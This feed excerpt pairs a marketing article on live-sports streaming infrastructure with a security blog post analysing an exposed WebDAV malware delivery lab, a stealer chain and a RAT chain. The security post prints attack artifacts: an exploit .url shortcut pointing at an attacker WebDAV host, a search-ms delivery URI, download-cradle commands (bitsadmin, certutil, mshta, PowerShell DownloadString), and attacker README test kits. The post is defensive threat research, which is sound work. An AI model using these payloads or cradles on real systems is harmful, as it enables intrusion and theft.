And that’s exactly how it’s supposed to work.

And as live sports viewership pushes into territory that makes previous records look modest (driven by a generation that expects to watch anything, on any device, anywhere, without waiting), the gap between getting that delivery right and getting it wrong has never been more consequential, or more public.

As audiences moved to digital platforms, the margin for error disappeared.

There is a version of this conversation that is easy to have: audiences expect more, technology has to keep up. True, but incomplete.

Audiences have always expected live sport to work. What changed is what “working” means, and how quickly they find out when it doesn’t.

Viewers no longer sit in front of a single screen. During a FIFA World Cup match, a household might have the main feed on the living room television, while someone else streams the highlights on a second TV in the bedroom, all while phones flash with live stats and tablets run separate commentary. From the infrastructure’s perspective, that isn’t just one household watching a game; it’s a chaotic web of concurrent demands triggered by the exact same split-second on the pitch.

Multiply that across tens of millions of viewers, and the scale of the challenge becomes clear. Social media raises the stakes further. When a platform fails during a World Cup knockout match, audiences report it in real-time on the same platforms they use to discuss the game. The complaint travels faster than the fix.

Broadcasters no longer have the luxury of resolving an incident before people notice. The incident becomes the story, and in many cases, travels further than the match itself.

What these viewership numbers actually mean for infrastructure

The shift in how people watch live sport has moved well beyond trend territory.

EMARKETER forecasts that digital live sports audiences in the US will grow to 114.1 million viewers, while traditional pay TV audiences decline to 82.0 million, highlighting the continued shift toward streaming.

The concurrency numbers generated by major sporting events now sit in a territory that would have seemed implausible a decade ago.

During the 2026 FIFA World Cup, for instance, streaming platforms shattered every historical ceiling, highlighted by Brazil’s CazĂ©TV repeatedly breaking global YouTube records for concurrent viewership during the group stage. Meanwhile, in the United States, Peacock and Telemundo’s digital platforms logged an unprecedented 13 million concurrent viewers for a single knockout window. 

When tens of millions of people tune into the same live stream at the same moment, it’s a challenge unlike regular web traffic.

Historically, massive global audiences were insulated by geography. The load was spread across distinct regional networks: antenna signals, satellite downlinks, and physical cable architectures. The physical infrastructure of traditional television inherently absorbed the impact. 

Digital streaming removes that buffer. Traffic spikes all at once, often at the most critical moment. The tighter the match, the deeper the stoppage time, the sharper the spike. Network infrastructure is forced to handle its heaviest, most volatile traffic exactly when it has zero margin for error.

Social media compounds the pressure operationally. The second a crucial goal is scored, a wave of real-time reactions floods the internet, instantly dragging a secondary “curiosity audience” into the app. These are people who weren’t even watching the match, but saw the hype and decided to tune in, meaning the network has to absorb a massive new rush of users precisely while the primary stream is already maxing out its capacity.

To survive these surges while satisfying a modern audience, the underlying broadcast playbook has undergone a massive structural shift. It’s no longer just about handling traffic; it’s also about using modern technology like AI to manage it intelligently.

According to an industry survey, 25% of broadcasters integrated AI into live production workflows in 2025, a massive leap from just 9% the previous year, with 64% identifying AI as the single largest impact driver over the next five years. 

The network is no longer just delivering content. AI is now generating highlights and short clips in real time, producing millions of videos that keep fans engaged long after the live moment has passed.

Ultimately, the technical demand is driven by a shift in what viewers expect. An IBM sports study revealed that 56% of fans now want AI-driven insights layered directly onto their content, while 33% point to real-time, automated translation as the feature that most impacts their experience.

Whether it’s one screen or several, viewers don’t notice the edge infrastructure or AI powering the experience. They just expect the game to play without interruption.

The planning mistake most organisations make

Capacity planning is where most organisations spend their time when preparing to stream a major event. Can the system handle a million concurrent streams? Can it scale on demand if the numbers exceed projections? These are real questions. 

The lesson is not unique to sports streaming. Every digital business now experiences moments where demand, visibility, and customer expectations collide. Peak traffic events such as flash sales, ticket releases, and viral campaigns can drive website traffic 2 to 25 times above normal levels within seconds. The infrastructure may be different, but the pressure is remarkably similar.

Large-scale system failures occur when multiple components, each functioning as expected on its own, are overwhelmed by a surge in demand, rising latency, or regional blind spots at the same time.

The problem isn’t the individual systems. It’s how they work together.

Latency is the factor most consistently underestimated. A few seconds of delay is not a minor inconvenience in live sport. It is a fundamentally broken experience. 

A viewer whose stream is running four seconds behind will see a notification before the decisive moment appears on screen. Someone watching a service from the privacy of their room may hear a celebration from another room before seeing it on their screen.

Geography is another planning gap. Streaming growth is increasingly being driven by emerging markets. In Southeast Asia alone, premium video streaming subscriptions grew 19% in 2025, led by Indonesia, while viewing hours continued to climb across the region. Yet much of the world’s media infrastructure was originally designed around North American and Western European demand. An architecture that looks robust on paper can deliver very different experiences depending on where the viewer is.

The reason is simple: physical distance still matters. Every extra hop between the viewer and the content adds latency, making it harder to deliver a consistent experience at global scale.

Then there is the timing question. The decisions that determine whether a platform holds during the most-watched minutes of the year are not made on event day. They are made months earlier through choices around architecture, redundancy, testing, and operational readiness.

Once an event is underway, it’s too late to redesign the architecture behind it. If your system isn’t designed to handle the pressure before the crowd arrives, it’s already too late.

The hidden chain behind every live event

When a streaming disruption becomes public, people naturally look for a single point of failure: the app, the platform, or the provider.

A live event depends on dozens of systems working together, and any one of them can become a problem.

And the experience is only as good as the weakest handoff between them.

It all starts with the live camera feed moving from the venue to the production studio. This is a real-time stream, not a file download. If you drop even a single packet at the wrong moment, everything down the line breaks, no matter how perfect the rest of your setup is.

Remote and cloud-based production workflows have redefined how live sports are produced, enabling broadcasters to operate with greater agility and scale. As production becomes more distributed, success increasingly depends on ensuring every stage of the delivery chain works together seamlessly.

Each transition is a potential failure point. Managing them requires visibility that extends across providers, platforms, and networks simultaneously.

Behind every live stream, technologies like encoding, transcoding, packaging, rights management, and ad insertion are constantly at work. If any one of them fails, the stream can go down altogether.

Global distribution introduces another layer of complexity. Viewers in Asia, Africa, and South America may all be watching the same match, but each stream travels across different networks and infrastructure. That means performance can vary by region, and issues may affect one audience without impacting another. 

AI is increasingly helping operators detect anomalies in real time, pinpoint affected regions and trigger corrective actions before disruptions become widespread. Combined with point-to-point monitoring, it provides the visibility needed to keep live events running smoothly at global scale.

Edge delivery is where the difference between preparation and improvisation becomes most apparent. Bringing content closer to users reduces latency, absorbs local traffic surges, and improves performance in markets with variable connectivity. 

The value of technology investments such as AI and Edge becomes clearest during the moments when demand is highest.

Monitoring is what turns visibility into action. With AI helping analyze telemetry and detect anomalies in real time, operations teams can identify issues sooner and respond before they affect viewers. By the time customers start reporting a problem, the opportunity to prevent it has already passed.

What reliability is actually worth

For most of early broadcast history, audience tolerance provided some buffer. Disruptions happened. People accepted them. There was nowhere else to go, and the story rarely escaped the room.

Neither of those things is true now.

A streaming failure during a major match becomes public within seconds. Viewers don’t distinguish between a network issue, a processing failure, or a distribution problem; they simply see a service that failed. That single experience can shape the broadcaster’s reputation, credibility and customer loyalty, influencing whether viewers come back for the next event or recommend the service to others.

The commercial implications are significant. Global tournaments such as the FIFA World Cup illustrate just how valuable live sports rights have become. Their return depends on reliably reaching the audience that was promised.

Advertisers invest in live sport for one reason: to reach a large, engaged audience at the exact moment it matters most. If the stream fails during that window, the opportunity is lost. Those viewers, impressions, and advertising value cannot be recovered once the moment has passed.

The same principle increasingly applies outside media. Customers rarely know nor care whether an outage originated in the application, the cloud environment, the network or a third-party dependency. They experience a failure of the brand. In a digital-first economy, reliability has become part of the customer experience itself.

For broadcasters and streamers, reliability is no longer just an operational KPI. It directly influences audience trust, advertising revenue, and the long-term value of premium sports rights.

The demands ahead are bigger

AI-assisted production is already changing how live events are created. Broadcasters are using AI to automate highlight generation, camera selection and real-time clip packaging for social media, with new AI-assisted workflows producing sports highlights up to 80% faster than traditional methods. 

All of this processing happens within the live delivery chain, where every additional task must be completed without adding latency or compromising the viewing experience.

Personalisation at scale is the next significant challenge. Not personalisation in a vague sense, but the specific technical reality of delivering multi-language commentary tracks, different languages, different statistical overlays, and different camera angles to different viewers watching the same event simultaneously. 

Instead of one stream per event, the infrastructure has to manage a matrix of concurrent variants, each with its own encoding, storage, and delivery requirements. 

Interactive experiences add bidirectional data flows: real-time polls, integrated second-screen data, live wagering. These move data from the viewer back through infrastructure that was primarily built to push content outward. Managing that at scale is a different engineering problem from managing delivery.

Higher-resolution formats (4K now becoming a standard expectation in premium markets, 8K moving into early deployment) are bandwidth-intensive at exactly the scale where bandwidth is already under pressure. Consumer devices are ready. Infrastructure in many high-growth markets is not uniformly there yet.

Many of these capabilities are already being deployed for major global sporting events. The organisations investing seriously in technology, innovation, and infrastructure now are building toward a standard that will be the baseline requirement within a few years. Those that are not will be closing the gap under the worst possible conditions.

The technology you never think about

The broadcasters that succeed don’t leave reliability to chance. They plan for it from the outset, designing their infrastructure to handle peak demand long before the audience arrives.

This reality hits hardest during massive global events. When a stream glitches, millions of people feel it simultaneously in a matter of seconds. Keeping those streams alive doesn’t happen by accident; it takes massive scale, intense discipline, and deep experience controlling everything from the stadium camera to the viewer’s screen.

The lesson extends well beyond live sports. Every enterprise is becoming a real-time digital business, whether it’s delivering AI-powered applications, launching digital products, processing financial transactions, or handling a sudden surge in customer demand. Different industries may face different triggers, but the expectation is the same: the experience has to work, even when demand is at its highest.

Delivering that level of reliability is why many of the world’s largest sports brands rely on Tata Communications. Supporting the broadcast, production, and management of 80% of the world’s sporting events, and reaching more than two billion viewers across 190+ countries, Tata Communications operates in the invisible layers that make every live moment possible. We call this the “Virtual Stadium of the World”, the technology and infrastructure that connects fans, broadcasters, rights-holders, and sporting moments at a truly global scale.

By managing the critical handoffs across contribution networks, edge processing, and global media infrastructure, we engineer the resilience required to keep 120,000 live events running flawlessly every year.

Live sport may be the most visible test of digital infrastructure, but it won’t be the last. As AI, personalisation and real-time experiences become the norm across industries, the ability to deliver reliably at scale will define far more than match day.

To learn more, visit us here.

]]> <![CDATA[From a Single Alert to 1,000 Files: Inside an Exposed WebDAV Malware Delivery Lab]]> https://tsecurity.de/de/3681303/it-security-nachrichten/from-a-single-alert-to-1000-files-inside-an-exposed-webdav-malware-delivery-lab/ https://tsecurity.de/de/3681303/it-security-nachrichten/from-a-single-alert-to-1000-files-inside-an-exposed-webdav-malware-delivery-lab/ Mon, 20 Jul 2026 15:53:12 +0200 📰 IT Security Nachrichten tsecurity.de Executive summary

An MDR alert recently led our team to an exposed server that was doing more than hosting payloads. It was functioning as a fully operational malware delivery lab. Containing over 1,000 artifacts, the infrastructure served as a QA hub where attackers systematically tested delivery paths, social engineering lures, and WebDAV execution methods.

Our analysis reveals an interesting shift in adversary operations: attackers are adopting generative AI to move beyond individual exploits and operate like modern software product teams. By leveraging LLMs for rapid lure generation, detailed README documentation, and automated testing, they are significantly accelerating their development cycle.

This incident underscores the imperative of preemptive security. By unifying exposure management with detection and response, we did not just catch a single campaign; we gained visibility into the attacker’s entire delivery pipeline. Although the server hosted many malware samples, the more interesting find was the view into the attacker’s workflow. The exposed infrastructure showed how the operator tested delivery paths, packaged lures, staged payloads, and monitored delivery activity. All of it with the help of generative AI.

Introduction: From MDR alert to attacker infrastructure

The investigation started with an MDR alert after a user executed a file pulled from a WebDAV server using rundll32.exe. Telemetry showed the WebClient service starting, followed by davclnt.dll reaching out to a remote host to retrieve content.

That initial hit led us to dig deeper into the delivery setup, which is how we ended up finding an exposed directory. It quickly became clear to us that the server wasn't just hosting files, but also was used as an active malware testing and delivery hub. Alongside payloads, we found bulk-generated shortcut lures, URL-based execution tests, ClickFix pages, WebDAV initialization scripts, droppers, spoofed filenames, and operator notes.

At a high level, the 1,048 files clustered as follows:

Category

Files

Functions and discoveries

LNK delivery launchers

453

Bulk-generated shortcut lures using document themes, spoofed filenames, fake icons, and multiple execution paths

Filename-spoofing QA

236

Tests for Unicode, double-extension, padding, and browser/Explorer rendering behavior

URL/LOLBin execution tests

146

Experiments with signed Windows binaries, remote working directories, and WebDAV-style execution

Encrypted droppers

89

Staged second-stage payloads and installer-style packages

Alternative execution containers

24

search-ms, library-ms, .cpl, and related delivery containers

Payload stubs and spoofed executables

21

Smaller loaders, decoys, and renamed binaries

WebDAV scripts

17

Scripts intended to make WebDAV delivery more reliable on Windows systems

Builder and operator notes

10

README files, test reports, mappings, and generation scripts

ClickFix HTML lures

9

Browser-based social-engineering pages instructing users to run commands

Miscellaneous files

6

Included documentation for the actor’s WebDAV delivery/admin panel

Table 1: Breakdown of files recovered from the attacker’s delivery workspace

Technical analysis and observed attacker behavior

Attackers testing like a product team

The open directory exposed the attacker’s payloads and testing process. The collection varied by function: some folders stored payloads, while others isolated individual delivery methods, including WebDAV, UNC paths, search-ms, library-ms, Control Panel items, and trusted Windows binaries. Several directories appeared to be QA areas for testing how lures are rendered in browsers and Windows Explorer. These tests included Unicode spoofing, right-to-left override (RTLO) characters, double extensions, and padding tricks used to make executables look like documents.

The directory also contained several README files. Their structure and phrasing suggested they may have been generated with LLMs. Some folders were named testik and testik2, a Russian diminutive form of “test”.

testing-files-subfolders.png
Figure 1: Snippet of one of many subfolders containing testing files.

⠀

Looking at the artifacts from the open directory, we saw that the attacker was testing some specific CVEs.

CVE

Observed samples

Short description

CVE-2025-33053

11

Windows Internet Shortcut flaw involving external control of a file name or path, allowing code execution over a network. (nvd.nist.gov)

CVE-2026-21513

4

MSHTML Framework security feature bypass caused by protection-mechanism failure. (nvd.nist.gov)

CVE-2025-24054

1

Windows NTLM spoofing issue where crafted file/path handling can trigger outbound authentication and leak NTLM material; observed tradecraft commonly involved .library-ms files. (nvd.nist.gov)

Table 2: CVE references observed in the exposed directory.

The most developed test set focused on CVE-2025-33053, the working-directory abuse technique reported by Check Point in its analysis of Stealth Falcon activity. It appears as though the threat was trying to reproduce or adapt the reported technique with the help from README that appears to have been generated with LLMs. At a high level, the technique abuses .url shortcut behavior to launch a legitimate signed Windows binary while setting its working directory to an attacker-controlled WebDAV share. In the original reporting, the binary was iediagcmd.exe, an Internet Explorer diagnostics utility. When invoked, that utility launches several child processes by name. If the working directory points to a remote WebDAV location controlled by the attacker, Windows may resolve those child process names from the remote share instead of the expected local system directory.

The README files closely mirrored this logic. They called out iediagcmd.exe as the preferred binary, referenced the same WebDAV working-directory pattern described in the Stealth Falcon reporting, and preserved the previously reported summerartcamp.net@ssl@443\DavWWWRoot\OSYxaOjr path as an example. So if you ever wonder who reads your blogs, it seems like attackers do.

CVE-2025-33053 (Stealth Falcon APT) - Test Setup
=====================================================

WHAT IS THIS?
This .url file abuses iediagcmd.exe to execute a file from WebDAV
WITHOUT any security warnings. Zero alerts!

HOW IT WORKS:
1. .url file contains URL=path to iediagcmd.exe (legitimate IE tool)
2. .url sets WorkingDirectory to WebDAV share
3. When clicked: iediagcmd.exe starts with cwd = WebDAV
4. iediagcmd internally calls: route.exe, ipconfig.exe, netsh.exe, ping.exe
5. Process.Start() searches in working directory FIRST
6. WebClient auto-starts when accessing WebDAV
7. Attacker's route.exe (renamed putty.exe) runs from WebDAV
8. NO SmartScreen, NO MoTW warnings!

REQUIREMENTS TO MAKE TEST WORK:
================================

1. iediagcmd.exe MUST exist on victim machine
   Path: C:\Program Files\Internet Explorer\iediagcmd.exe
   - Win10 (1607-22H2):        YES
   - Win11 21H2/22H2/23H2:     usually YES
   - Win11 24H2 (IE removed):  NO (this is why your F-series failed!)
   - Check on victim:
     dir "C:\Program Files\Internet Explorer\iediagcmd.exe"

2. WebDAV MUST have file named EXACTLY "route.exe"
   NOT putty.exe! iediagcmd will only execute these names:
   - route.exe
   - ipconfig.exe
   - netsh.exe
   - ping.exe
   On your WebDAV server, RENAME putty.exe to route.exe
   Place at: \\TA_C2\Downloads\route.exe

3. Microsoft patch from June 2025 MUST NOT be installed
   Check: Get-HotFix | Where-Object {$_.HotFixID -match "KB5060"}
   If patched, exploit fails.

ALTERNATIVE LOLBINS (if iediagcmd.exe missing):
================================================
F4_CustomShellHost_explorer.url - uses CustomShellHost.exe
   (mentioned in CheckPoint report - spawns explorer.exe)
F5_OfficeC2RClient_alternative.url - uses Office C2R client
   (if Office is installed)

REAL ATTACK PAYLOAD WAS:
[InternetShortcut]
URL=C:\Program Files\Internet Explorer\iediagcmd.exe
WorkingDirectory=\\summerartcamp.net@ssl@443\DavWWWRoot\OSYxaOjr
ShowCommand=7
IconIndex=13
IconFile=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Modified=20F06BA06D07BD014D

Figure 2: Contents of README, likely generated by LLM, found in the exposed directory.
⠀

The testing approach was methodical and included the below:

Transports: WebDAV over @80 and @ssl@443

Path formats: DavWWWRoot vs. plain UNC

Fallback LOLBins: CustomShellHost.exe, OfficeC2RClient.exe, and many more for hosts where iediagcmd.exe is absent

Download cradles: bitsadmin /transfer, certutil -urlcache -split -f, mshta http(s)://


Shortcut launchers: PowerShell IEX (New-Object Net.WebClient).DownloadString(...), hidden/minimized windows

Explorer containers: search-ms: queries and .library-ms files exposing remote payloads

ClickFix pages: relying on user copy/paste execution

Filename spoofing: RTLO (U+202E), double extensions, and whitespace padding before .exe / .scr

The lure factory

The lure themes were broad and familiar: invoices, privacy policies, contracts, signed documents, finance reports, Labcorp-themed reports, salary statements, and notification policies.

Judging by the lure themes, we concluded that the attacker is targeting enterprise Windows users who are likely to open routine documents.

The threat actor also invested heavily in making files look “safe”. Many lure names mimicked PDFs or office documents. Others used fake icons associated with common software. Some attempted to hide arguments or launch windows minimized. Clearly, the goal was to make malicious execution feel like ordinary document handling.

The directory also contained ClickFix HTML lures. These pages mimicked familiar services, application errors, and document-access workflows to convince users to copy and run a command. The lures were disguised as Cloudflare verification checks, Adobe or Word document errors, Microsoft login pages, Chrome update messages, and Discord-themed notices. Filenames such as Fix_Connection_Error.html, Update_Required.html, Secure_Document_Access.html, Verification_Failed.html, and Open_Document_Instructions.html show how the actor repackaged the same execution pattern under different social-engineering themes.

The commands typically launched PowerShell to fetch remote content, used cmd.exe to open payloads from WebDAV or UNC paths, or used utilities like rundll32 and mshta to proxy execution. Many referenced attacker-controlled paths, temporary directories, hidden windows, or encoded arguments to reduce visibility.

The payload chains 

The exposed directory contained many payloads, but we did not reverse every binary in the collection. We initially started with reverse engineering, but after analyzing several chains, we found repeated packaging patterns and suspected that some staged files may have led to the same or closely related final payloads.

We therefore shifted from exhaustive reverse engineering to triage. We reviewed several files, including DlrtyGames, CursorSetup, ReportFinal.rsc.pdf, ReportFina.exe and pdfgear_setup_v2.1.16.exe, and prioritized payloads that either represented distinct delivery approaches or were tied to observed campaign activity.

Our main focus became the most commonly delivered file in the most recent CURP campaign, based on artifacts we found in cPanel. This gave us the clearest link between the exposed delivery infrastructure and active campaign activity. 

This scope is intentional. This post is about the attacker’s delivery workflow, not a full reverse-engineering report for every sample in the directory. We use the payload analysis to show how the operator packaged lures, staged loaders, tested execution methods, and moved from delivery to final payload execution.

Case study 1: CURP campaign targeting Mexico

Our MDR alert began with a user who landed on the phishing site www[.]gobf[.]mx, a typosquat impersonating the Mexican government's CURP (Clave Única de Registro de Población) national-ID lookup service at https://www.gob.mx/curp/. The phishing site presented a convincing single-page application that asked victims to enter CURP identity data and retrieve an official record.

Phishing-page-impersonating-Mexico’s-CURP-lookup-service.png
Figure 3: Phishing page impersonating Mexico’s CURP lookup service, with browser developer tools showing the embedded WebDAV delivery logic.

⠀

The site’s client-side JavaScript handled the fake ID lookup flow and then triggered payload delivery when the victim clicked the download button. Instead of downloading a PDF directly, the script invoked a search-ms: URI that opened the operator’s remote WebDAV share as a Windows Explorer search view filtered to .scr files:

search-ms:displayname=Search Results in \\onedrive.cv@80\Downloads\CURP
         &query=*.scr
         &crumb=location:\\onedrive.cv@80\Downloads\CURP

⠀
It's worth mentioning that the malicious Javascript with russian comments appears to be also generated with the help of GenAI. As you can see in the screenshot above it contains emojis and comments which are very typical for the LLM models.

The exposed Simba Service panel tied this phishing flow back to the attacker’s delivery infrastructure. The CURP folder was the most-accessed campaign folder, with 2,384 recorded interactions. The same count appeared for ReportFinal.rcs.pdf, making it the clearest link between the phishing site, the WebDAV delivery path, and active campaign activity.

Simba-Service-WebDAV-dashboard-CURP.png
Figure 4: Simba Service WebDAV dashboard showing the exposed delivery workspace, with the CURP folder recorded as the most-accessed campaign folder at 2,384 interactions.

⠀

Although ReportFinal.rcs.pdf appeared to be a PDF, it was actually a right-to-left override (RTLO) masqueraded .scr executable built with a Delphi/Inno Setup installer. Once executed, it extracted and launched the Fo-Binary.exe loader, initiating the multi-stage infection chain.

Execution-chain-PDF-lure.jpg
Figure 5: Execution chain for the ReportFinal.rcs.pdf lure, from RTLO-masqueraded .scr file to in-memory stealer execution and C2 exfiltration.

⠀

The final payload was an unknown .NET information stealer, operated entirely fileless-ly to evade disk-based detection. The execution sequence followed as such:

  • Decryption: The Fcqleh loader decrypted the embedded payload using AES and GZip.

  • Reflective Loading: The loader mapped the payload directly into memory using the Assembly.Load(byte[]) API.

  • Process Injection: The malicious code was executed inside a legitimate, EV-signed Qihoo 360 process via process hollowing, allowing the malicious code to run under a trusted signed process image.

The decrypted in-memory configuration exposed the payload’s feature set and version 4.4.3. It also contained the build tag 06x12x2026SantaEbash2, which matched toolkit timestamps from June 12, 2026.

Once running, the stealer targeted cryptocurrency assets, browser data, messaging sessions, and local application data. Its collection logic included around 20 desktop wallet clients and browser wallet extensions, saved browser usernames, passwords, cookies, session tokens, the Telegram tdata session database, Foxmail data, and a screenshot of the victim’s desktop.

The payload also included anti-analysis checks. The payload checked for the COR_PROFILER environment variable and called IsDebuggerPresent. If the malware detected that it was being monitored or debugged, it immediately called FailFast to kill the process. The stealer also delayed decrypting its watchlist and collection configuration until after a successful C2 handshake, preventing its full functionality from being revealed in isolated sandboxes. 

Collected data was exfiltrated to 77[.]110.127.205 (alias google.services.ug, certificate CN=Eglgyqnoa) over SslStream (TLS without SNI) and raw Socket.The stolen data was sent as a multipart HTTP POST request to /c2.

Based on the analyzed behavior, the payload functioned as an information stealer focused on credential, wallet, and session theft.

Case study 2: The "DlrtyGames" sideloading chain

While the ReportFinal lure used an Inno Setup installer to launch a fileless stealer, a second campaign directory on the server, DlrtyGames, showed a different delivery architecture. This chain was built to deploy a modular RAT through DLL sideloading, IDAT, process hollowing, and persistence.

The DlrtyGames chain began with a silent 7-Zip SFX dropper, DlrtyGames.exe. It extracted a benign, signed Ubisoft binary, Volt_Droid.exe, into the victim’s temporary directory alongside a trojanized dependency, discord-rpc.x64.dll.

DlrtyGames-execution-chain.jpg
Figure 6: DlrtyGames execution chain showing the flow from 7-Zip SFX dropper to DLL sideloading, IDAT-based payload loading, process hollowing, and .NET RAT execution.

⠀

Volt_Droid.exe used DLL sideloading to load discord-rpc.x64.dll. This decoded its configuration, resolved APIs by hash, and manually mapped profiler16.dll. The mapped profiler16.dll stage then read loader-pool.db, a PNG file whose encrypted modules were stored across IDAT chunks. After a 45-second sleep delay, it reassembled and decrypted the embedded content, set up persistence, performed COM auto-elevation through dllhost.exe, and prepared the final hollowing stage.

The final injection stage was handled by an x86 PIC shellcode blob carved from loader-pool.db at offset 0xb516a. That shellcode created signed host processes such as MegArray.exe or Crisp.exe in a suspended state, unmapped their original image, wrote the payload into the process, updated thread context, and resumed execution. The result was a modular .NET RAT running inside a signed host process.

The DlrtyGames payload was a modular RAT with plugins for keylogging, screenshots, window monitoring, and C2 communication. Its keylogger module used plaintext keyword triggers for payment, banking, credit, and cryptocurrency activity, including relaypayments.com, plaid, fiservapps, payoneer, google pay, coinbase, Zelle, paypal, link.com, amazonrelay, Exodus, Electrum, Bitcoin, monero, Seed Phrase, Seed, 12, FCU, Credit Union, Account Overview, Available Balance, Merchant, online access, debit, credit, cvv, card, settlement, fees, loans, bank, banking, finance, and invest. 

The RAT also targeted browser wallet-extension artifacts and Chrome user data, including cookies and saved login data.

The two chains used different payloads and C2 infrastructure. In case study one, the stealer exfiltrated to 77[.]110[.]127[.]205:56003, while in the case study two stealer chain communicated with 23[.]94[.]252[.]228:57666. Based on our observations, the final RAT payload in both chains was identified as .NET-based PureRAT.

GenAI adoption

Several artifacts make it clear the attacker certainly used LLMs to build and iterate this operation. The directory is packed with structured README files, neatly formatted lure-generation guides, detailed test writeups, and matrix-style outputs that look exactly like templated or generated content. 

═══════════════════════════════════════════════════════════════════
  WORKING DIRECTORY HIJACKING — COMPREHENSIVE TEST KIT
  for Windows 11 24H2
═══════════════════════════════════════════════════════════════════

This kit contains 59 .url files targeting different Windows binaries
that POTENTIALLY have the same Working Directory hijacking issue as
CVE-2025-33053 (Stealth Falcon, iediagcmd.exe).

ALL .url files use this exact format (same as the real APT attack):
  [InternetShortcut]
  URL=C:\path\to\target.exe         <- legitimate binary
  WorkingDirectory=\\[REDACTED]@80\Downloads   <- WebDAV (triggers WebClient!)
  ShowCommand=7                     <- start minimized (hide alert windows)
  IconIndex=13                      <- (decoy icon)
  IconFile=msedge.exe               <- (decoy icon)

═══════════════════════════════════════════════════════════════════
HOW TO TEST (5 minutes)
═══════════════════════════════════════════════════════════════════

STEP 1: Upload ALL files from WEBDAV_PAYLOADS/ folder to:
        \\[REDACTED]\Downloads\
        (59 test files - each is 5KB MessageBox popup exe)

STEP 2: Copy I_LOLBIN_URLS/ folder to your Win11 24H2 machine

STEP 3: Double-click .url files one by one (or all of them in sequence)
        - If popup appears -> HIJACK WORKS! Read parent process name in popup.
        - If nothing happens / error -> doesn't work, move to next.

STEP 4: Tell me which I-numbers showed a popup. I'll integrate working
        ones as new methods in web-renamer.

═══════════════════════════════════════════════════════════════════
PRIORITY TESTING ORDER (most likely to work first)
═══════════════════════════════════════════════════════════════════

TIER 1 - CONFIRMED IN THE WILD:
  I01_iediagcmd.url           - CVE-2025-33053 (needs pre-June 2025 patch)
  I02_CustomShellHost.url     - CheckPoint research (may not exist on Server)

TIER 2 - .NET FRAMEWORK TOOLS (always installed if .NET 4.x present):
  I03_InstallUtil.url         - InstallUtilLib.dll search
  I04_RegAsm.url              - .NET registration
  I05_RegSvcs.url             - .NET services
  I06_CasPol.url              - .NET security policy
  I07_ngentask.url            - NGen native compile (calls ngen.exe!)
  I08_AddInUtil.url           - AddIn util (calls AddInProcess.exe!)
  I10_dfsvc.url               - ClickOnce service
  I15_csc.url                 - C# compiler (may call link.exe)
  I16_vbc.url                 - VB compiler

TIER 3 - WIN11 SYSTEM .NET TOOLS:
  I17_LbfoAdmin.url           - NIC teaming admin
  I19_UevAgentPolicyGenerator.url - UE-V agent (calls .ps1 files!)
  I20_UevAppMonitor.url       - UE-V monitor
  I23_AppVStreamingUX.url     - App-V streaming UI

TIER 4 - LOLBAS Execute-EXE binaries:
  I26_Pcwrun.url              - LOLBAS Execute(EXE)
  I28_WorkFolders.url         - LOLBAS Execute(EXE,Rename)
  I33_stordiag.url            - LOLBAS Execute(EXE) - calls systeminfo etc
  I36_Provlaunch.url          - LOLBAS Execute(CMD) - calls provtool.exe!

TIER 5 - UAC bypass binaries (worth testing):
  I49_fodhelper.url, I50_computerdefaults.url, I52_wsreset.url

═══════════════════════════════════════════════════════════════════
THE THEORY (so you understand WHY this works for some and not others)
═══════════════════════════════════════════════════════════════════

For the attack to succeed, the LOLBin must:
  1. Be a .NET application, OR call ShellExecute/CreateProcess with bare
     name (no full path).
  2. Spawn a child process by NAME (e.g. "ipconfig.exe") not by full path
     (e.g. "C:\Windows\System32\ipconfig.exe").
  3. Be runnable without command-line args.

If ANY of these is false, the hijack fails. Microsoft has been patching
specific binaries (iediagcmd.exe in June 2025) but the general pattern
remains. New vulnerable binaries are discovered regularly.

═══════════════════════════════════════════════════════════════════
WHAT THE POPUP TELLS YOU
═══════════════════════════════════════════════════════════════════

When hijack works, you'll see:
  TEST OK - Working Directory Hijack SUCCESS

  Executed as: route.exe                              <- which name was hijacked
  Full path: \\[REDACTED]@80\Downloads\route.exe    <- ran from WebDAV!
  Working dir: \\[REDACTED]@80\Downloads
  Parent process: iediagcmd                           <- which LOLBin spawned it

═══════════════════════════════════════════════════════════════════
NOTES
═══════════════════════════════════════════════════════════════════

* Some I-files may target binaries that DON'T EXIST on your Win11 24H2
  (e.g. I02_CustomShellHost was missing on my test Server 2025).
  These will silently fail - just move on.

* Some I-files may launch the GUI tool (msconfig, dxdiag, etc.) WITHOUT
  triggering any hijack. That's fine - if no popup appears, no hijack.

* See _MAPPING.csv for full mapping of each .url to its target binary
  and expected child process names.

Figure 7: Context of README.md found in the exposed directory.

The attacker left a build-time artifact inside the generate_test_lnk.ps1 output. The output directory is hardcoded in the $outDir variable and exposes part of the attacker’s local project tree:

Hardcoded-$outDir-path.png
Figure 8: Hardcoded $outDir path exposing the attacker’s local project tree.

⠀
It is therefore apparent that the entire campaign was likely created using the CodeRRR project with the help of LLM to assist with code generation and campaign development.

Another file we found in the directory was Simba_Service_Presentation.htm, which appeared to document an attacker-controlled WebDAV delivery/admin panel. The panel also seems to have been generated with LLM assistance, based on its presentation-style formatting, API-documentation structure, emojis, and implementation details.

Simba-server-screenshot-panel.png
Figure 9: Screenshot from the panel with an open presentation about Simba service, showing its architecture.

⠀

Simba-server-system-requirements.png
Figure 10: Simba service system requirements.

⠀

The most telling artifact was a “comprehensive test kit” that expanded the single CVE-2025-33053 technique into 59 .url files targeting different Windows binaries, such as .NET tools (InstallUtil, RegAsm, RegSvcs, ngentask), system utilities, LOLBAS execute-EXE binaries, and even UAC-bypass candidates. Each file was paired with a stated theory of why the working-directory hijack should work and a priority order for testing.

The directory was saturated with structured README files, neatly formatted lure-generation guides, matrix-style test write-ups, emoji-heavy admin-panel documentation, and a _MAPPING.csv tying each test file to its target binary and expected child process. The consistency, verbosity, and sheer volume of organized artifacts led us to conclude that the attacker likely used an LLM-assisted workflow to do much of the heavy lifting around documentation, structure, and iteration.

# LNK Full Matrix Test — WebDAV Open Methods + Deception Techniques

**Location:** `C:\Users\Administrator\Desktop\LNK-Full-Matrix-Test`  
**Total files:** 60  
**Generated:** 2026-05-30

---

## Overview / ĐžĐ±Đ·ĐŸŃ€

This folder contains a complete test matrix of **60 LNK shortcut files** combining all available WebDAV open methods with all LNK Deception Techniques supported by the Web-renamer project.

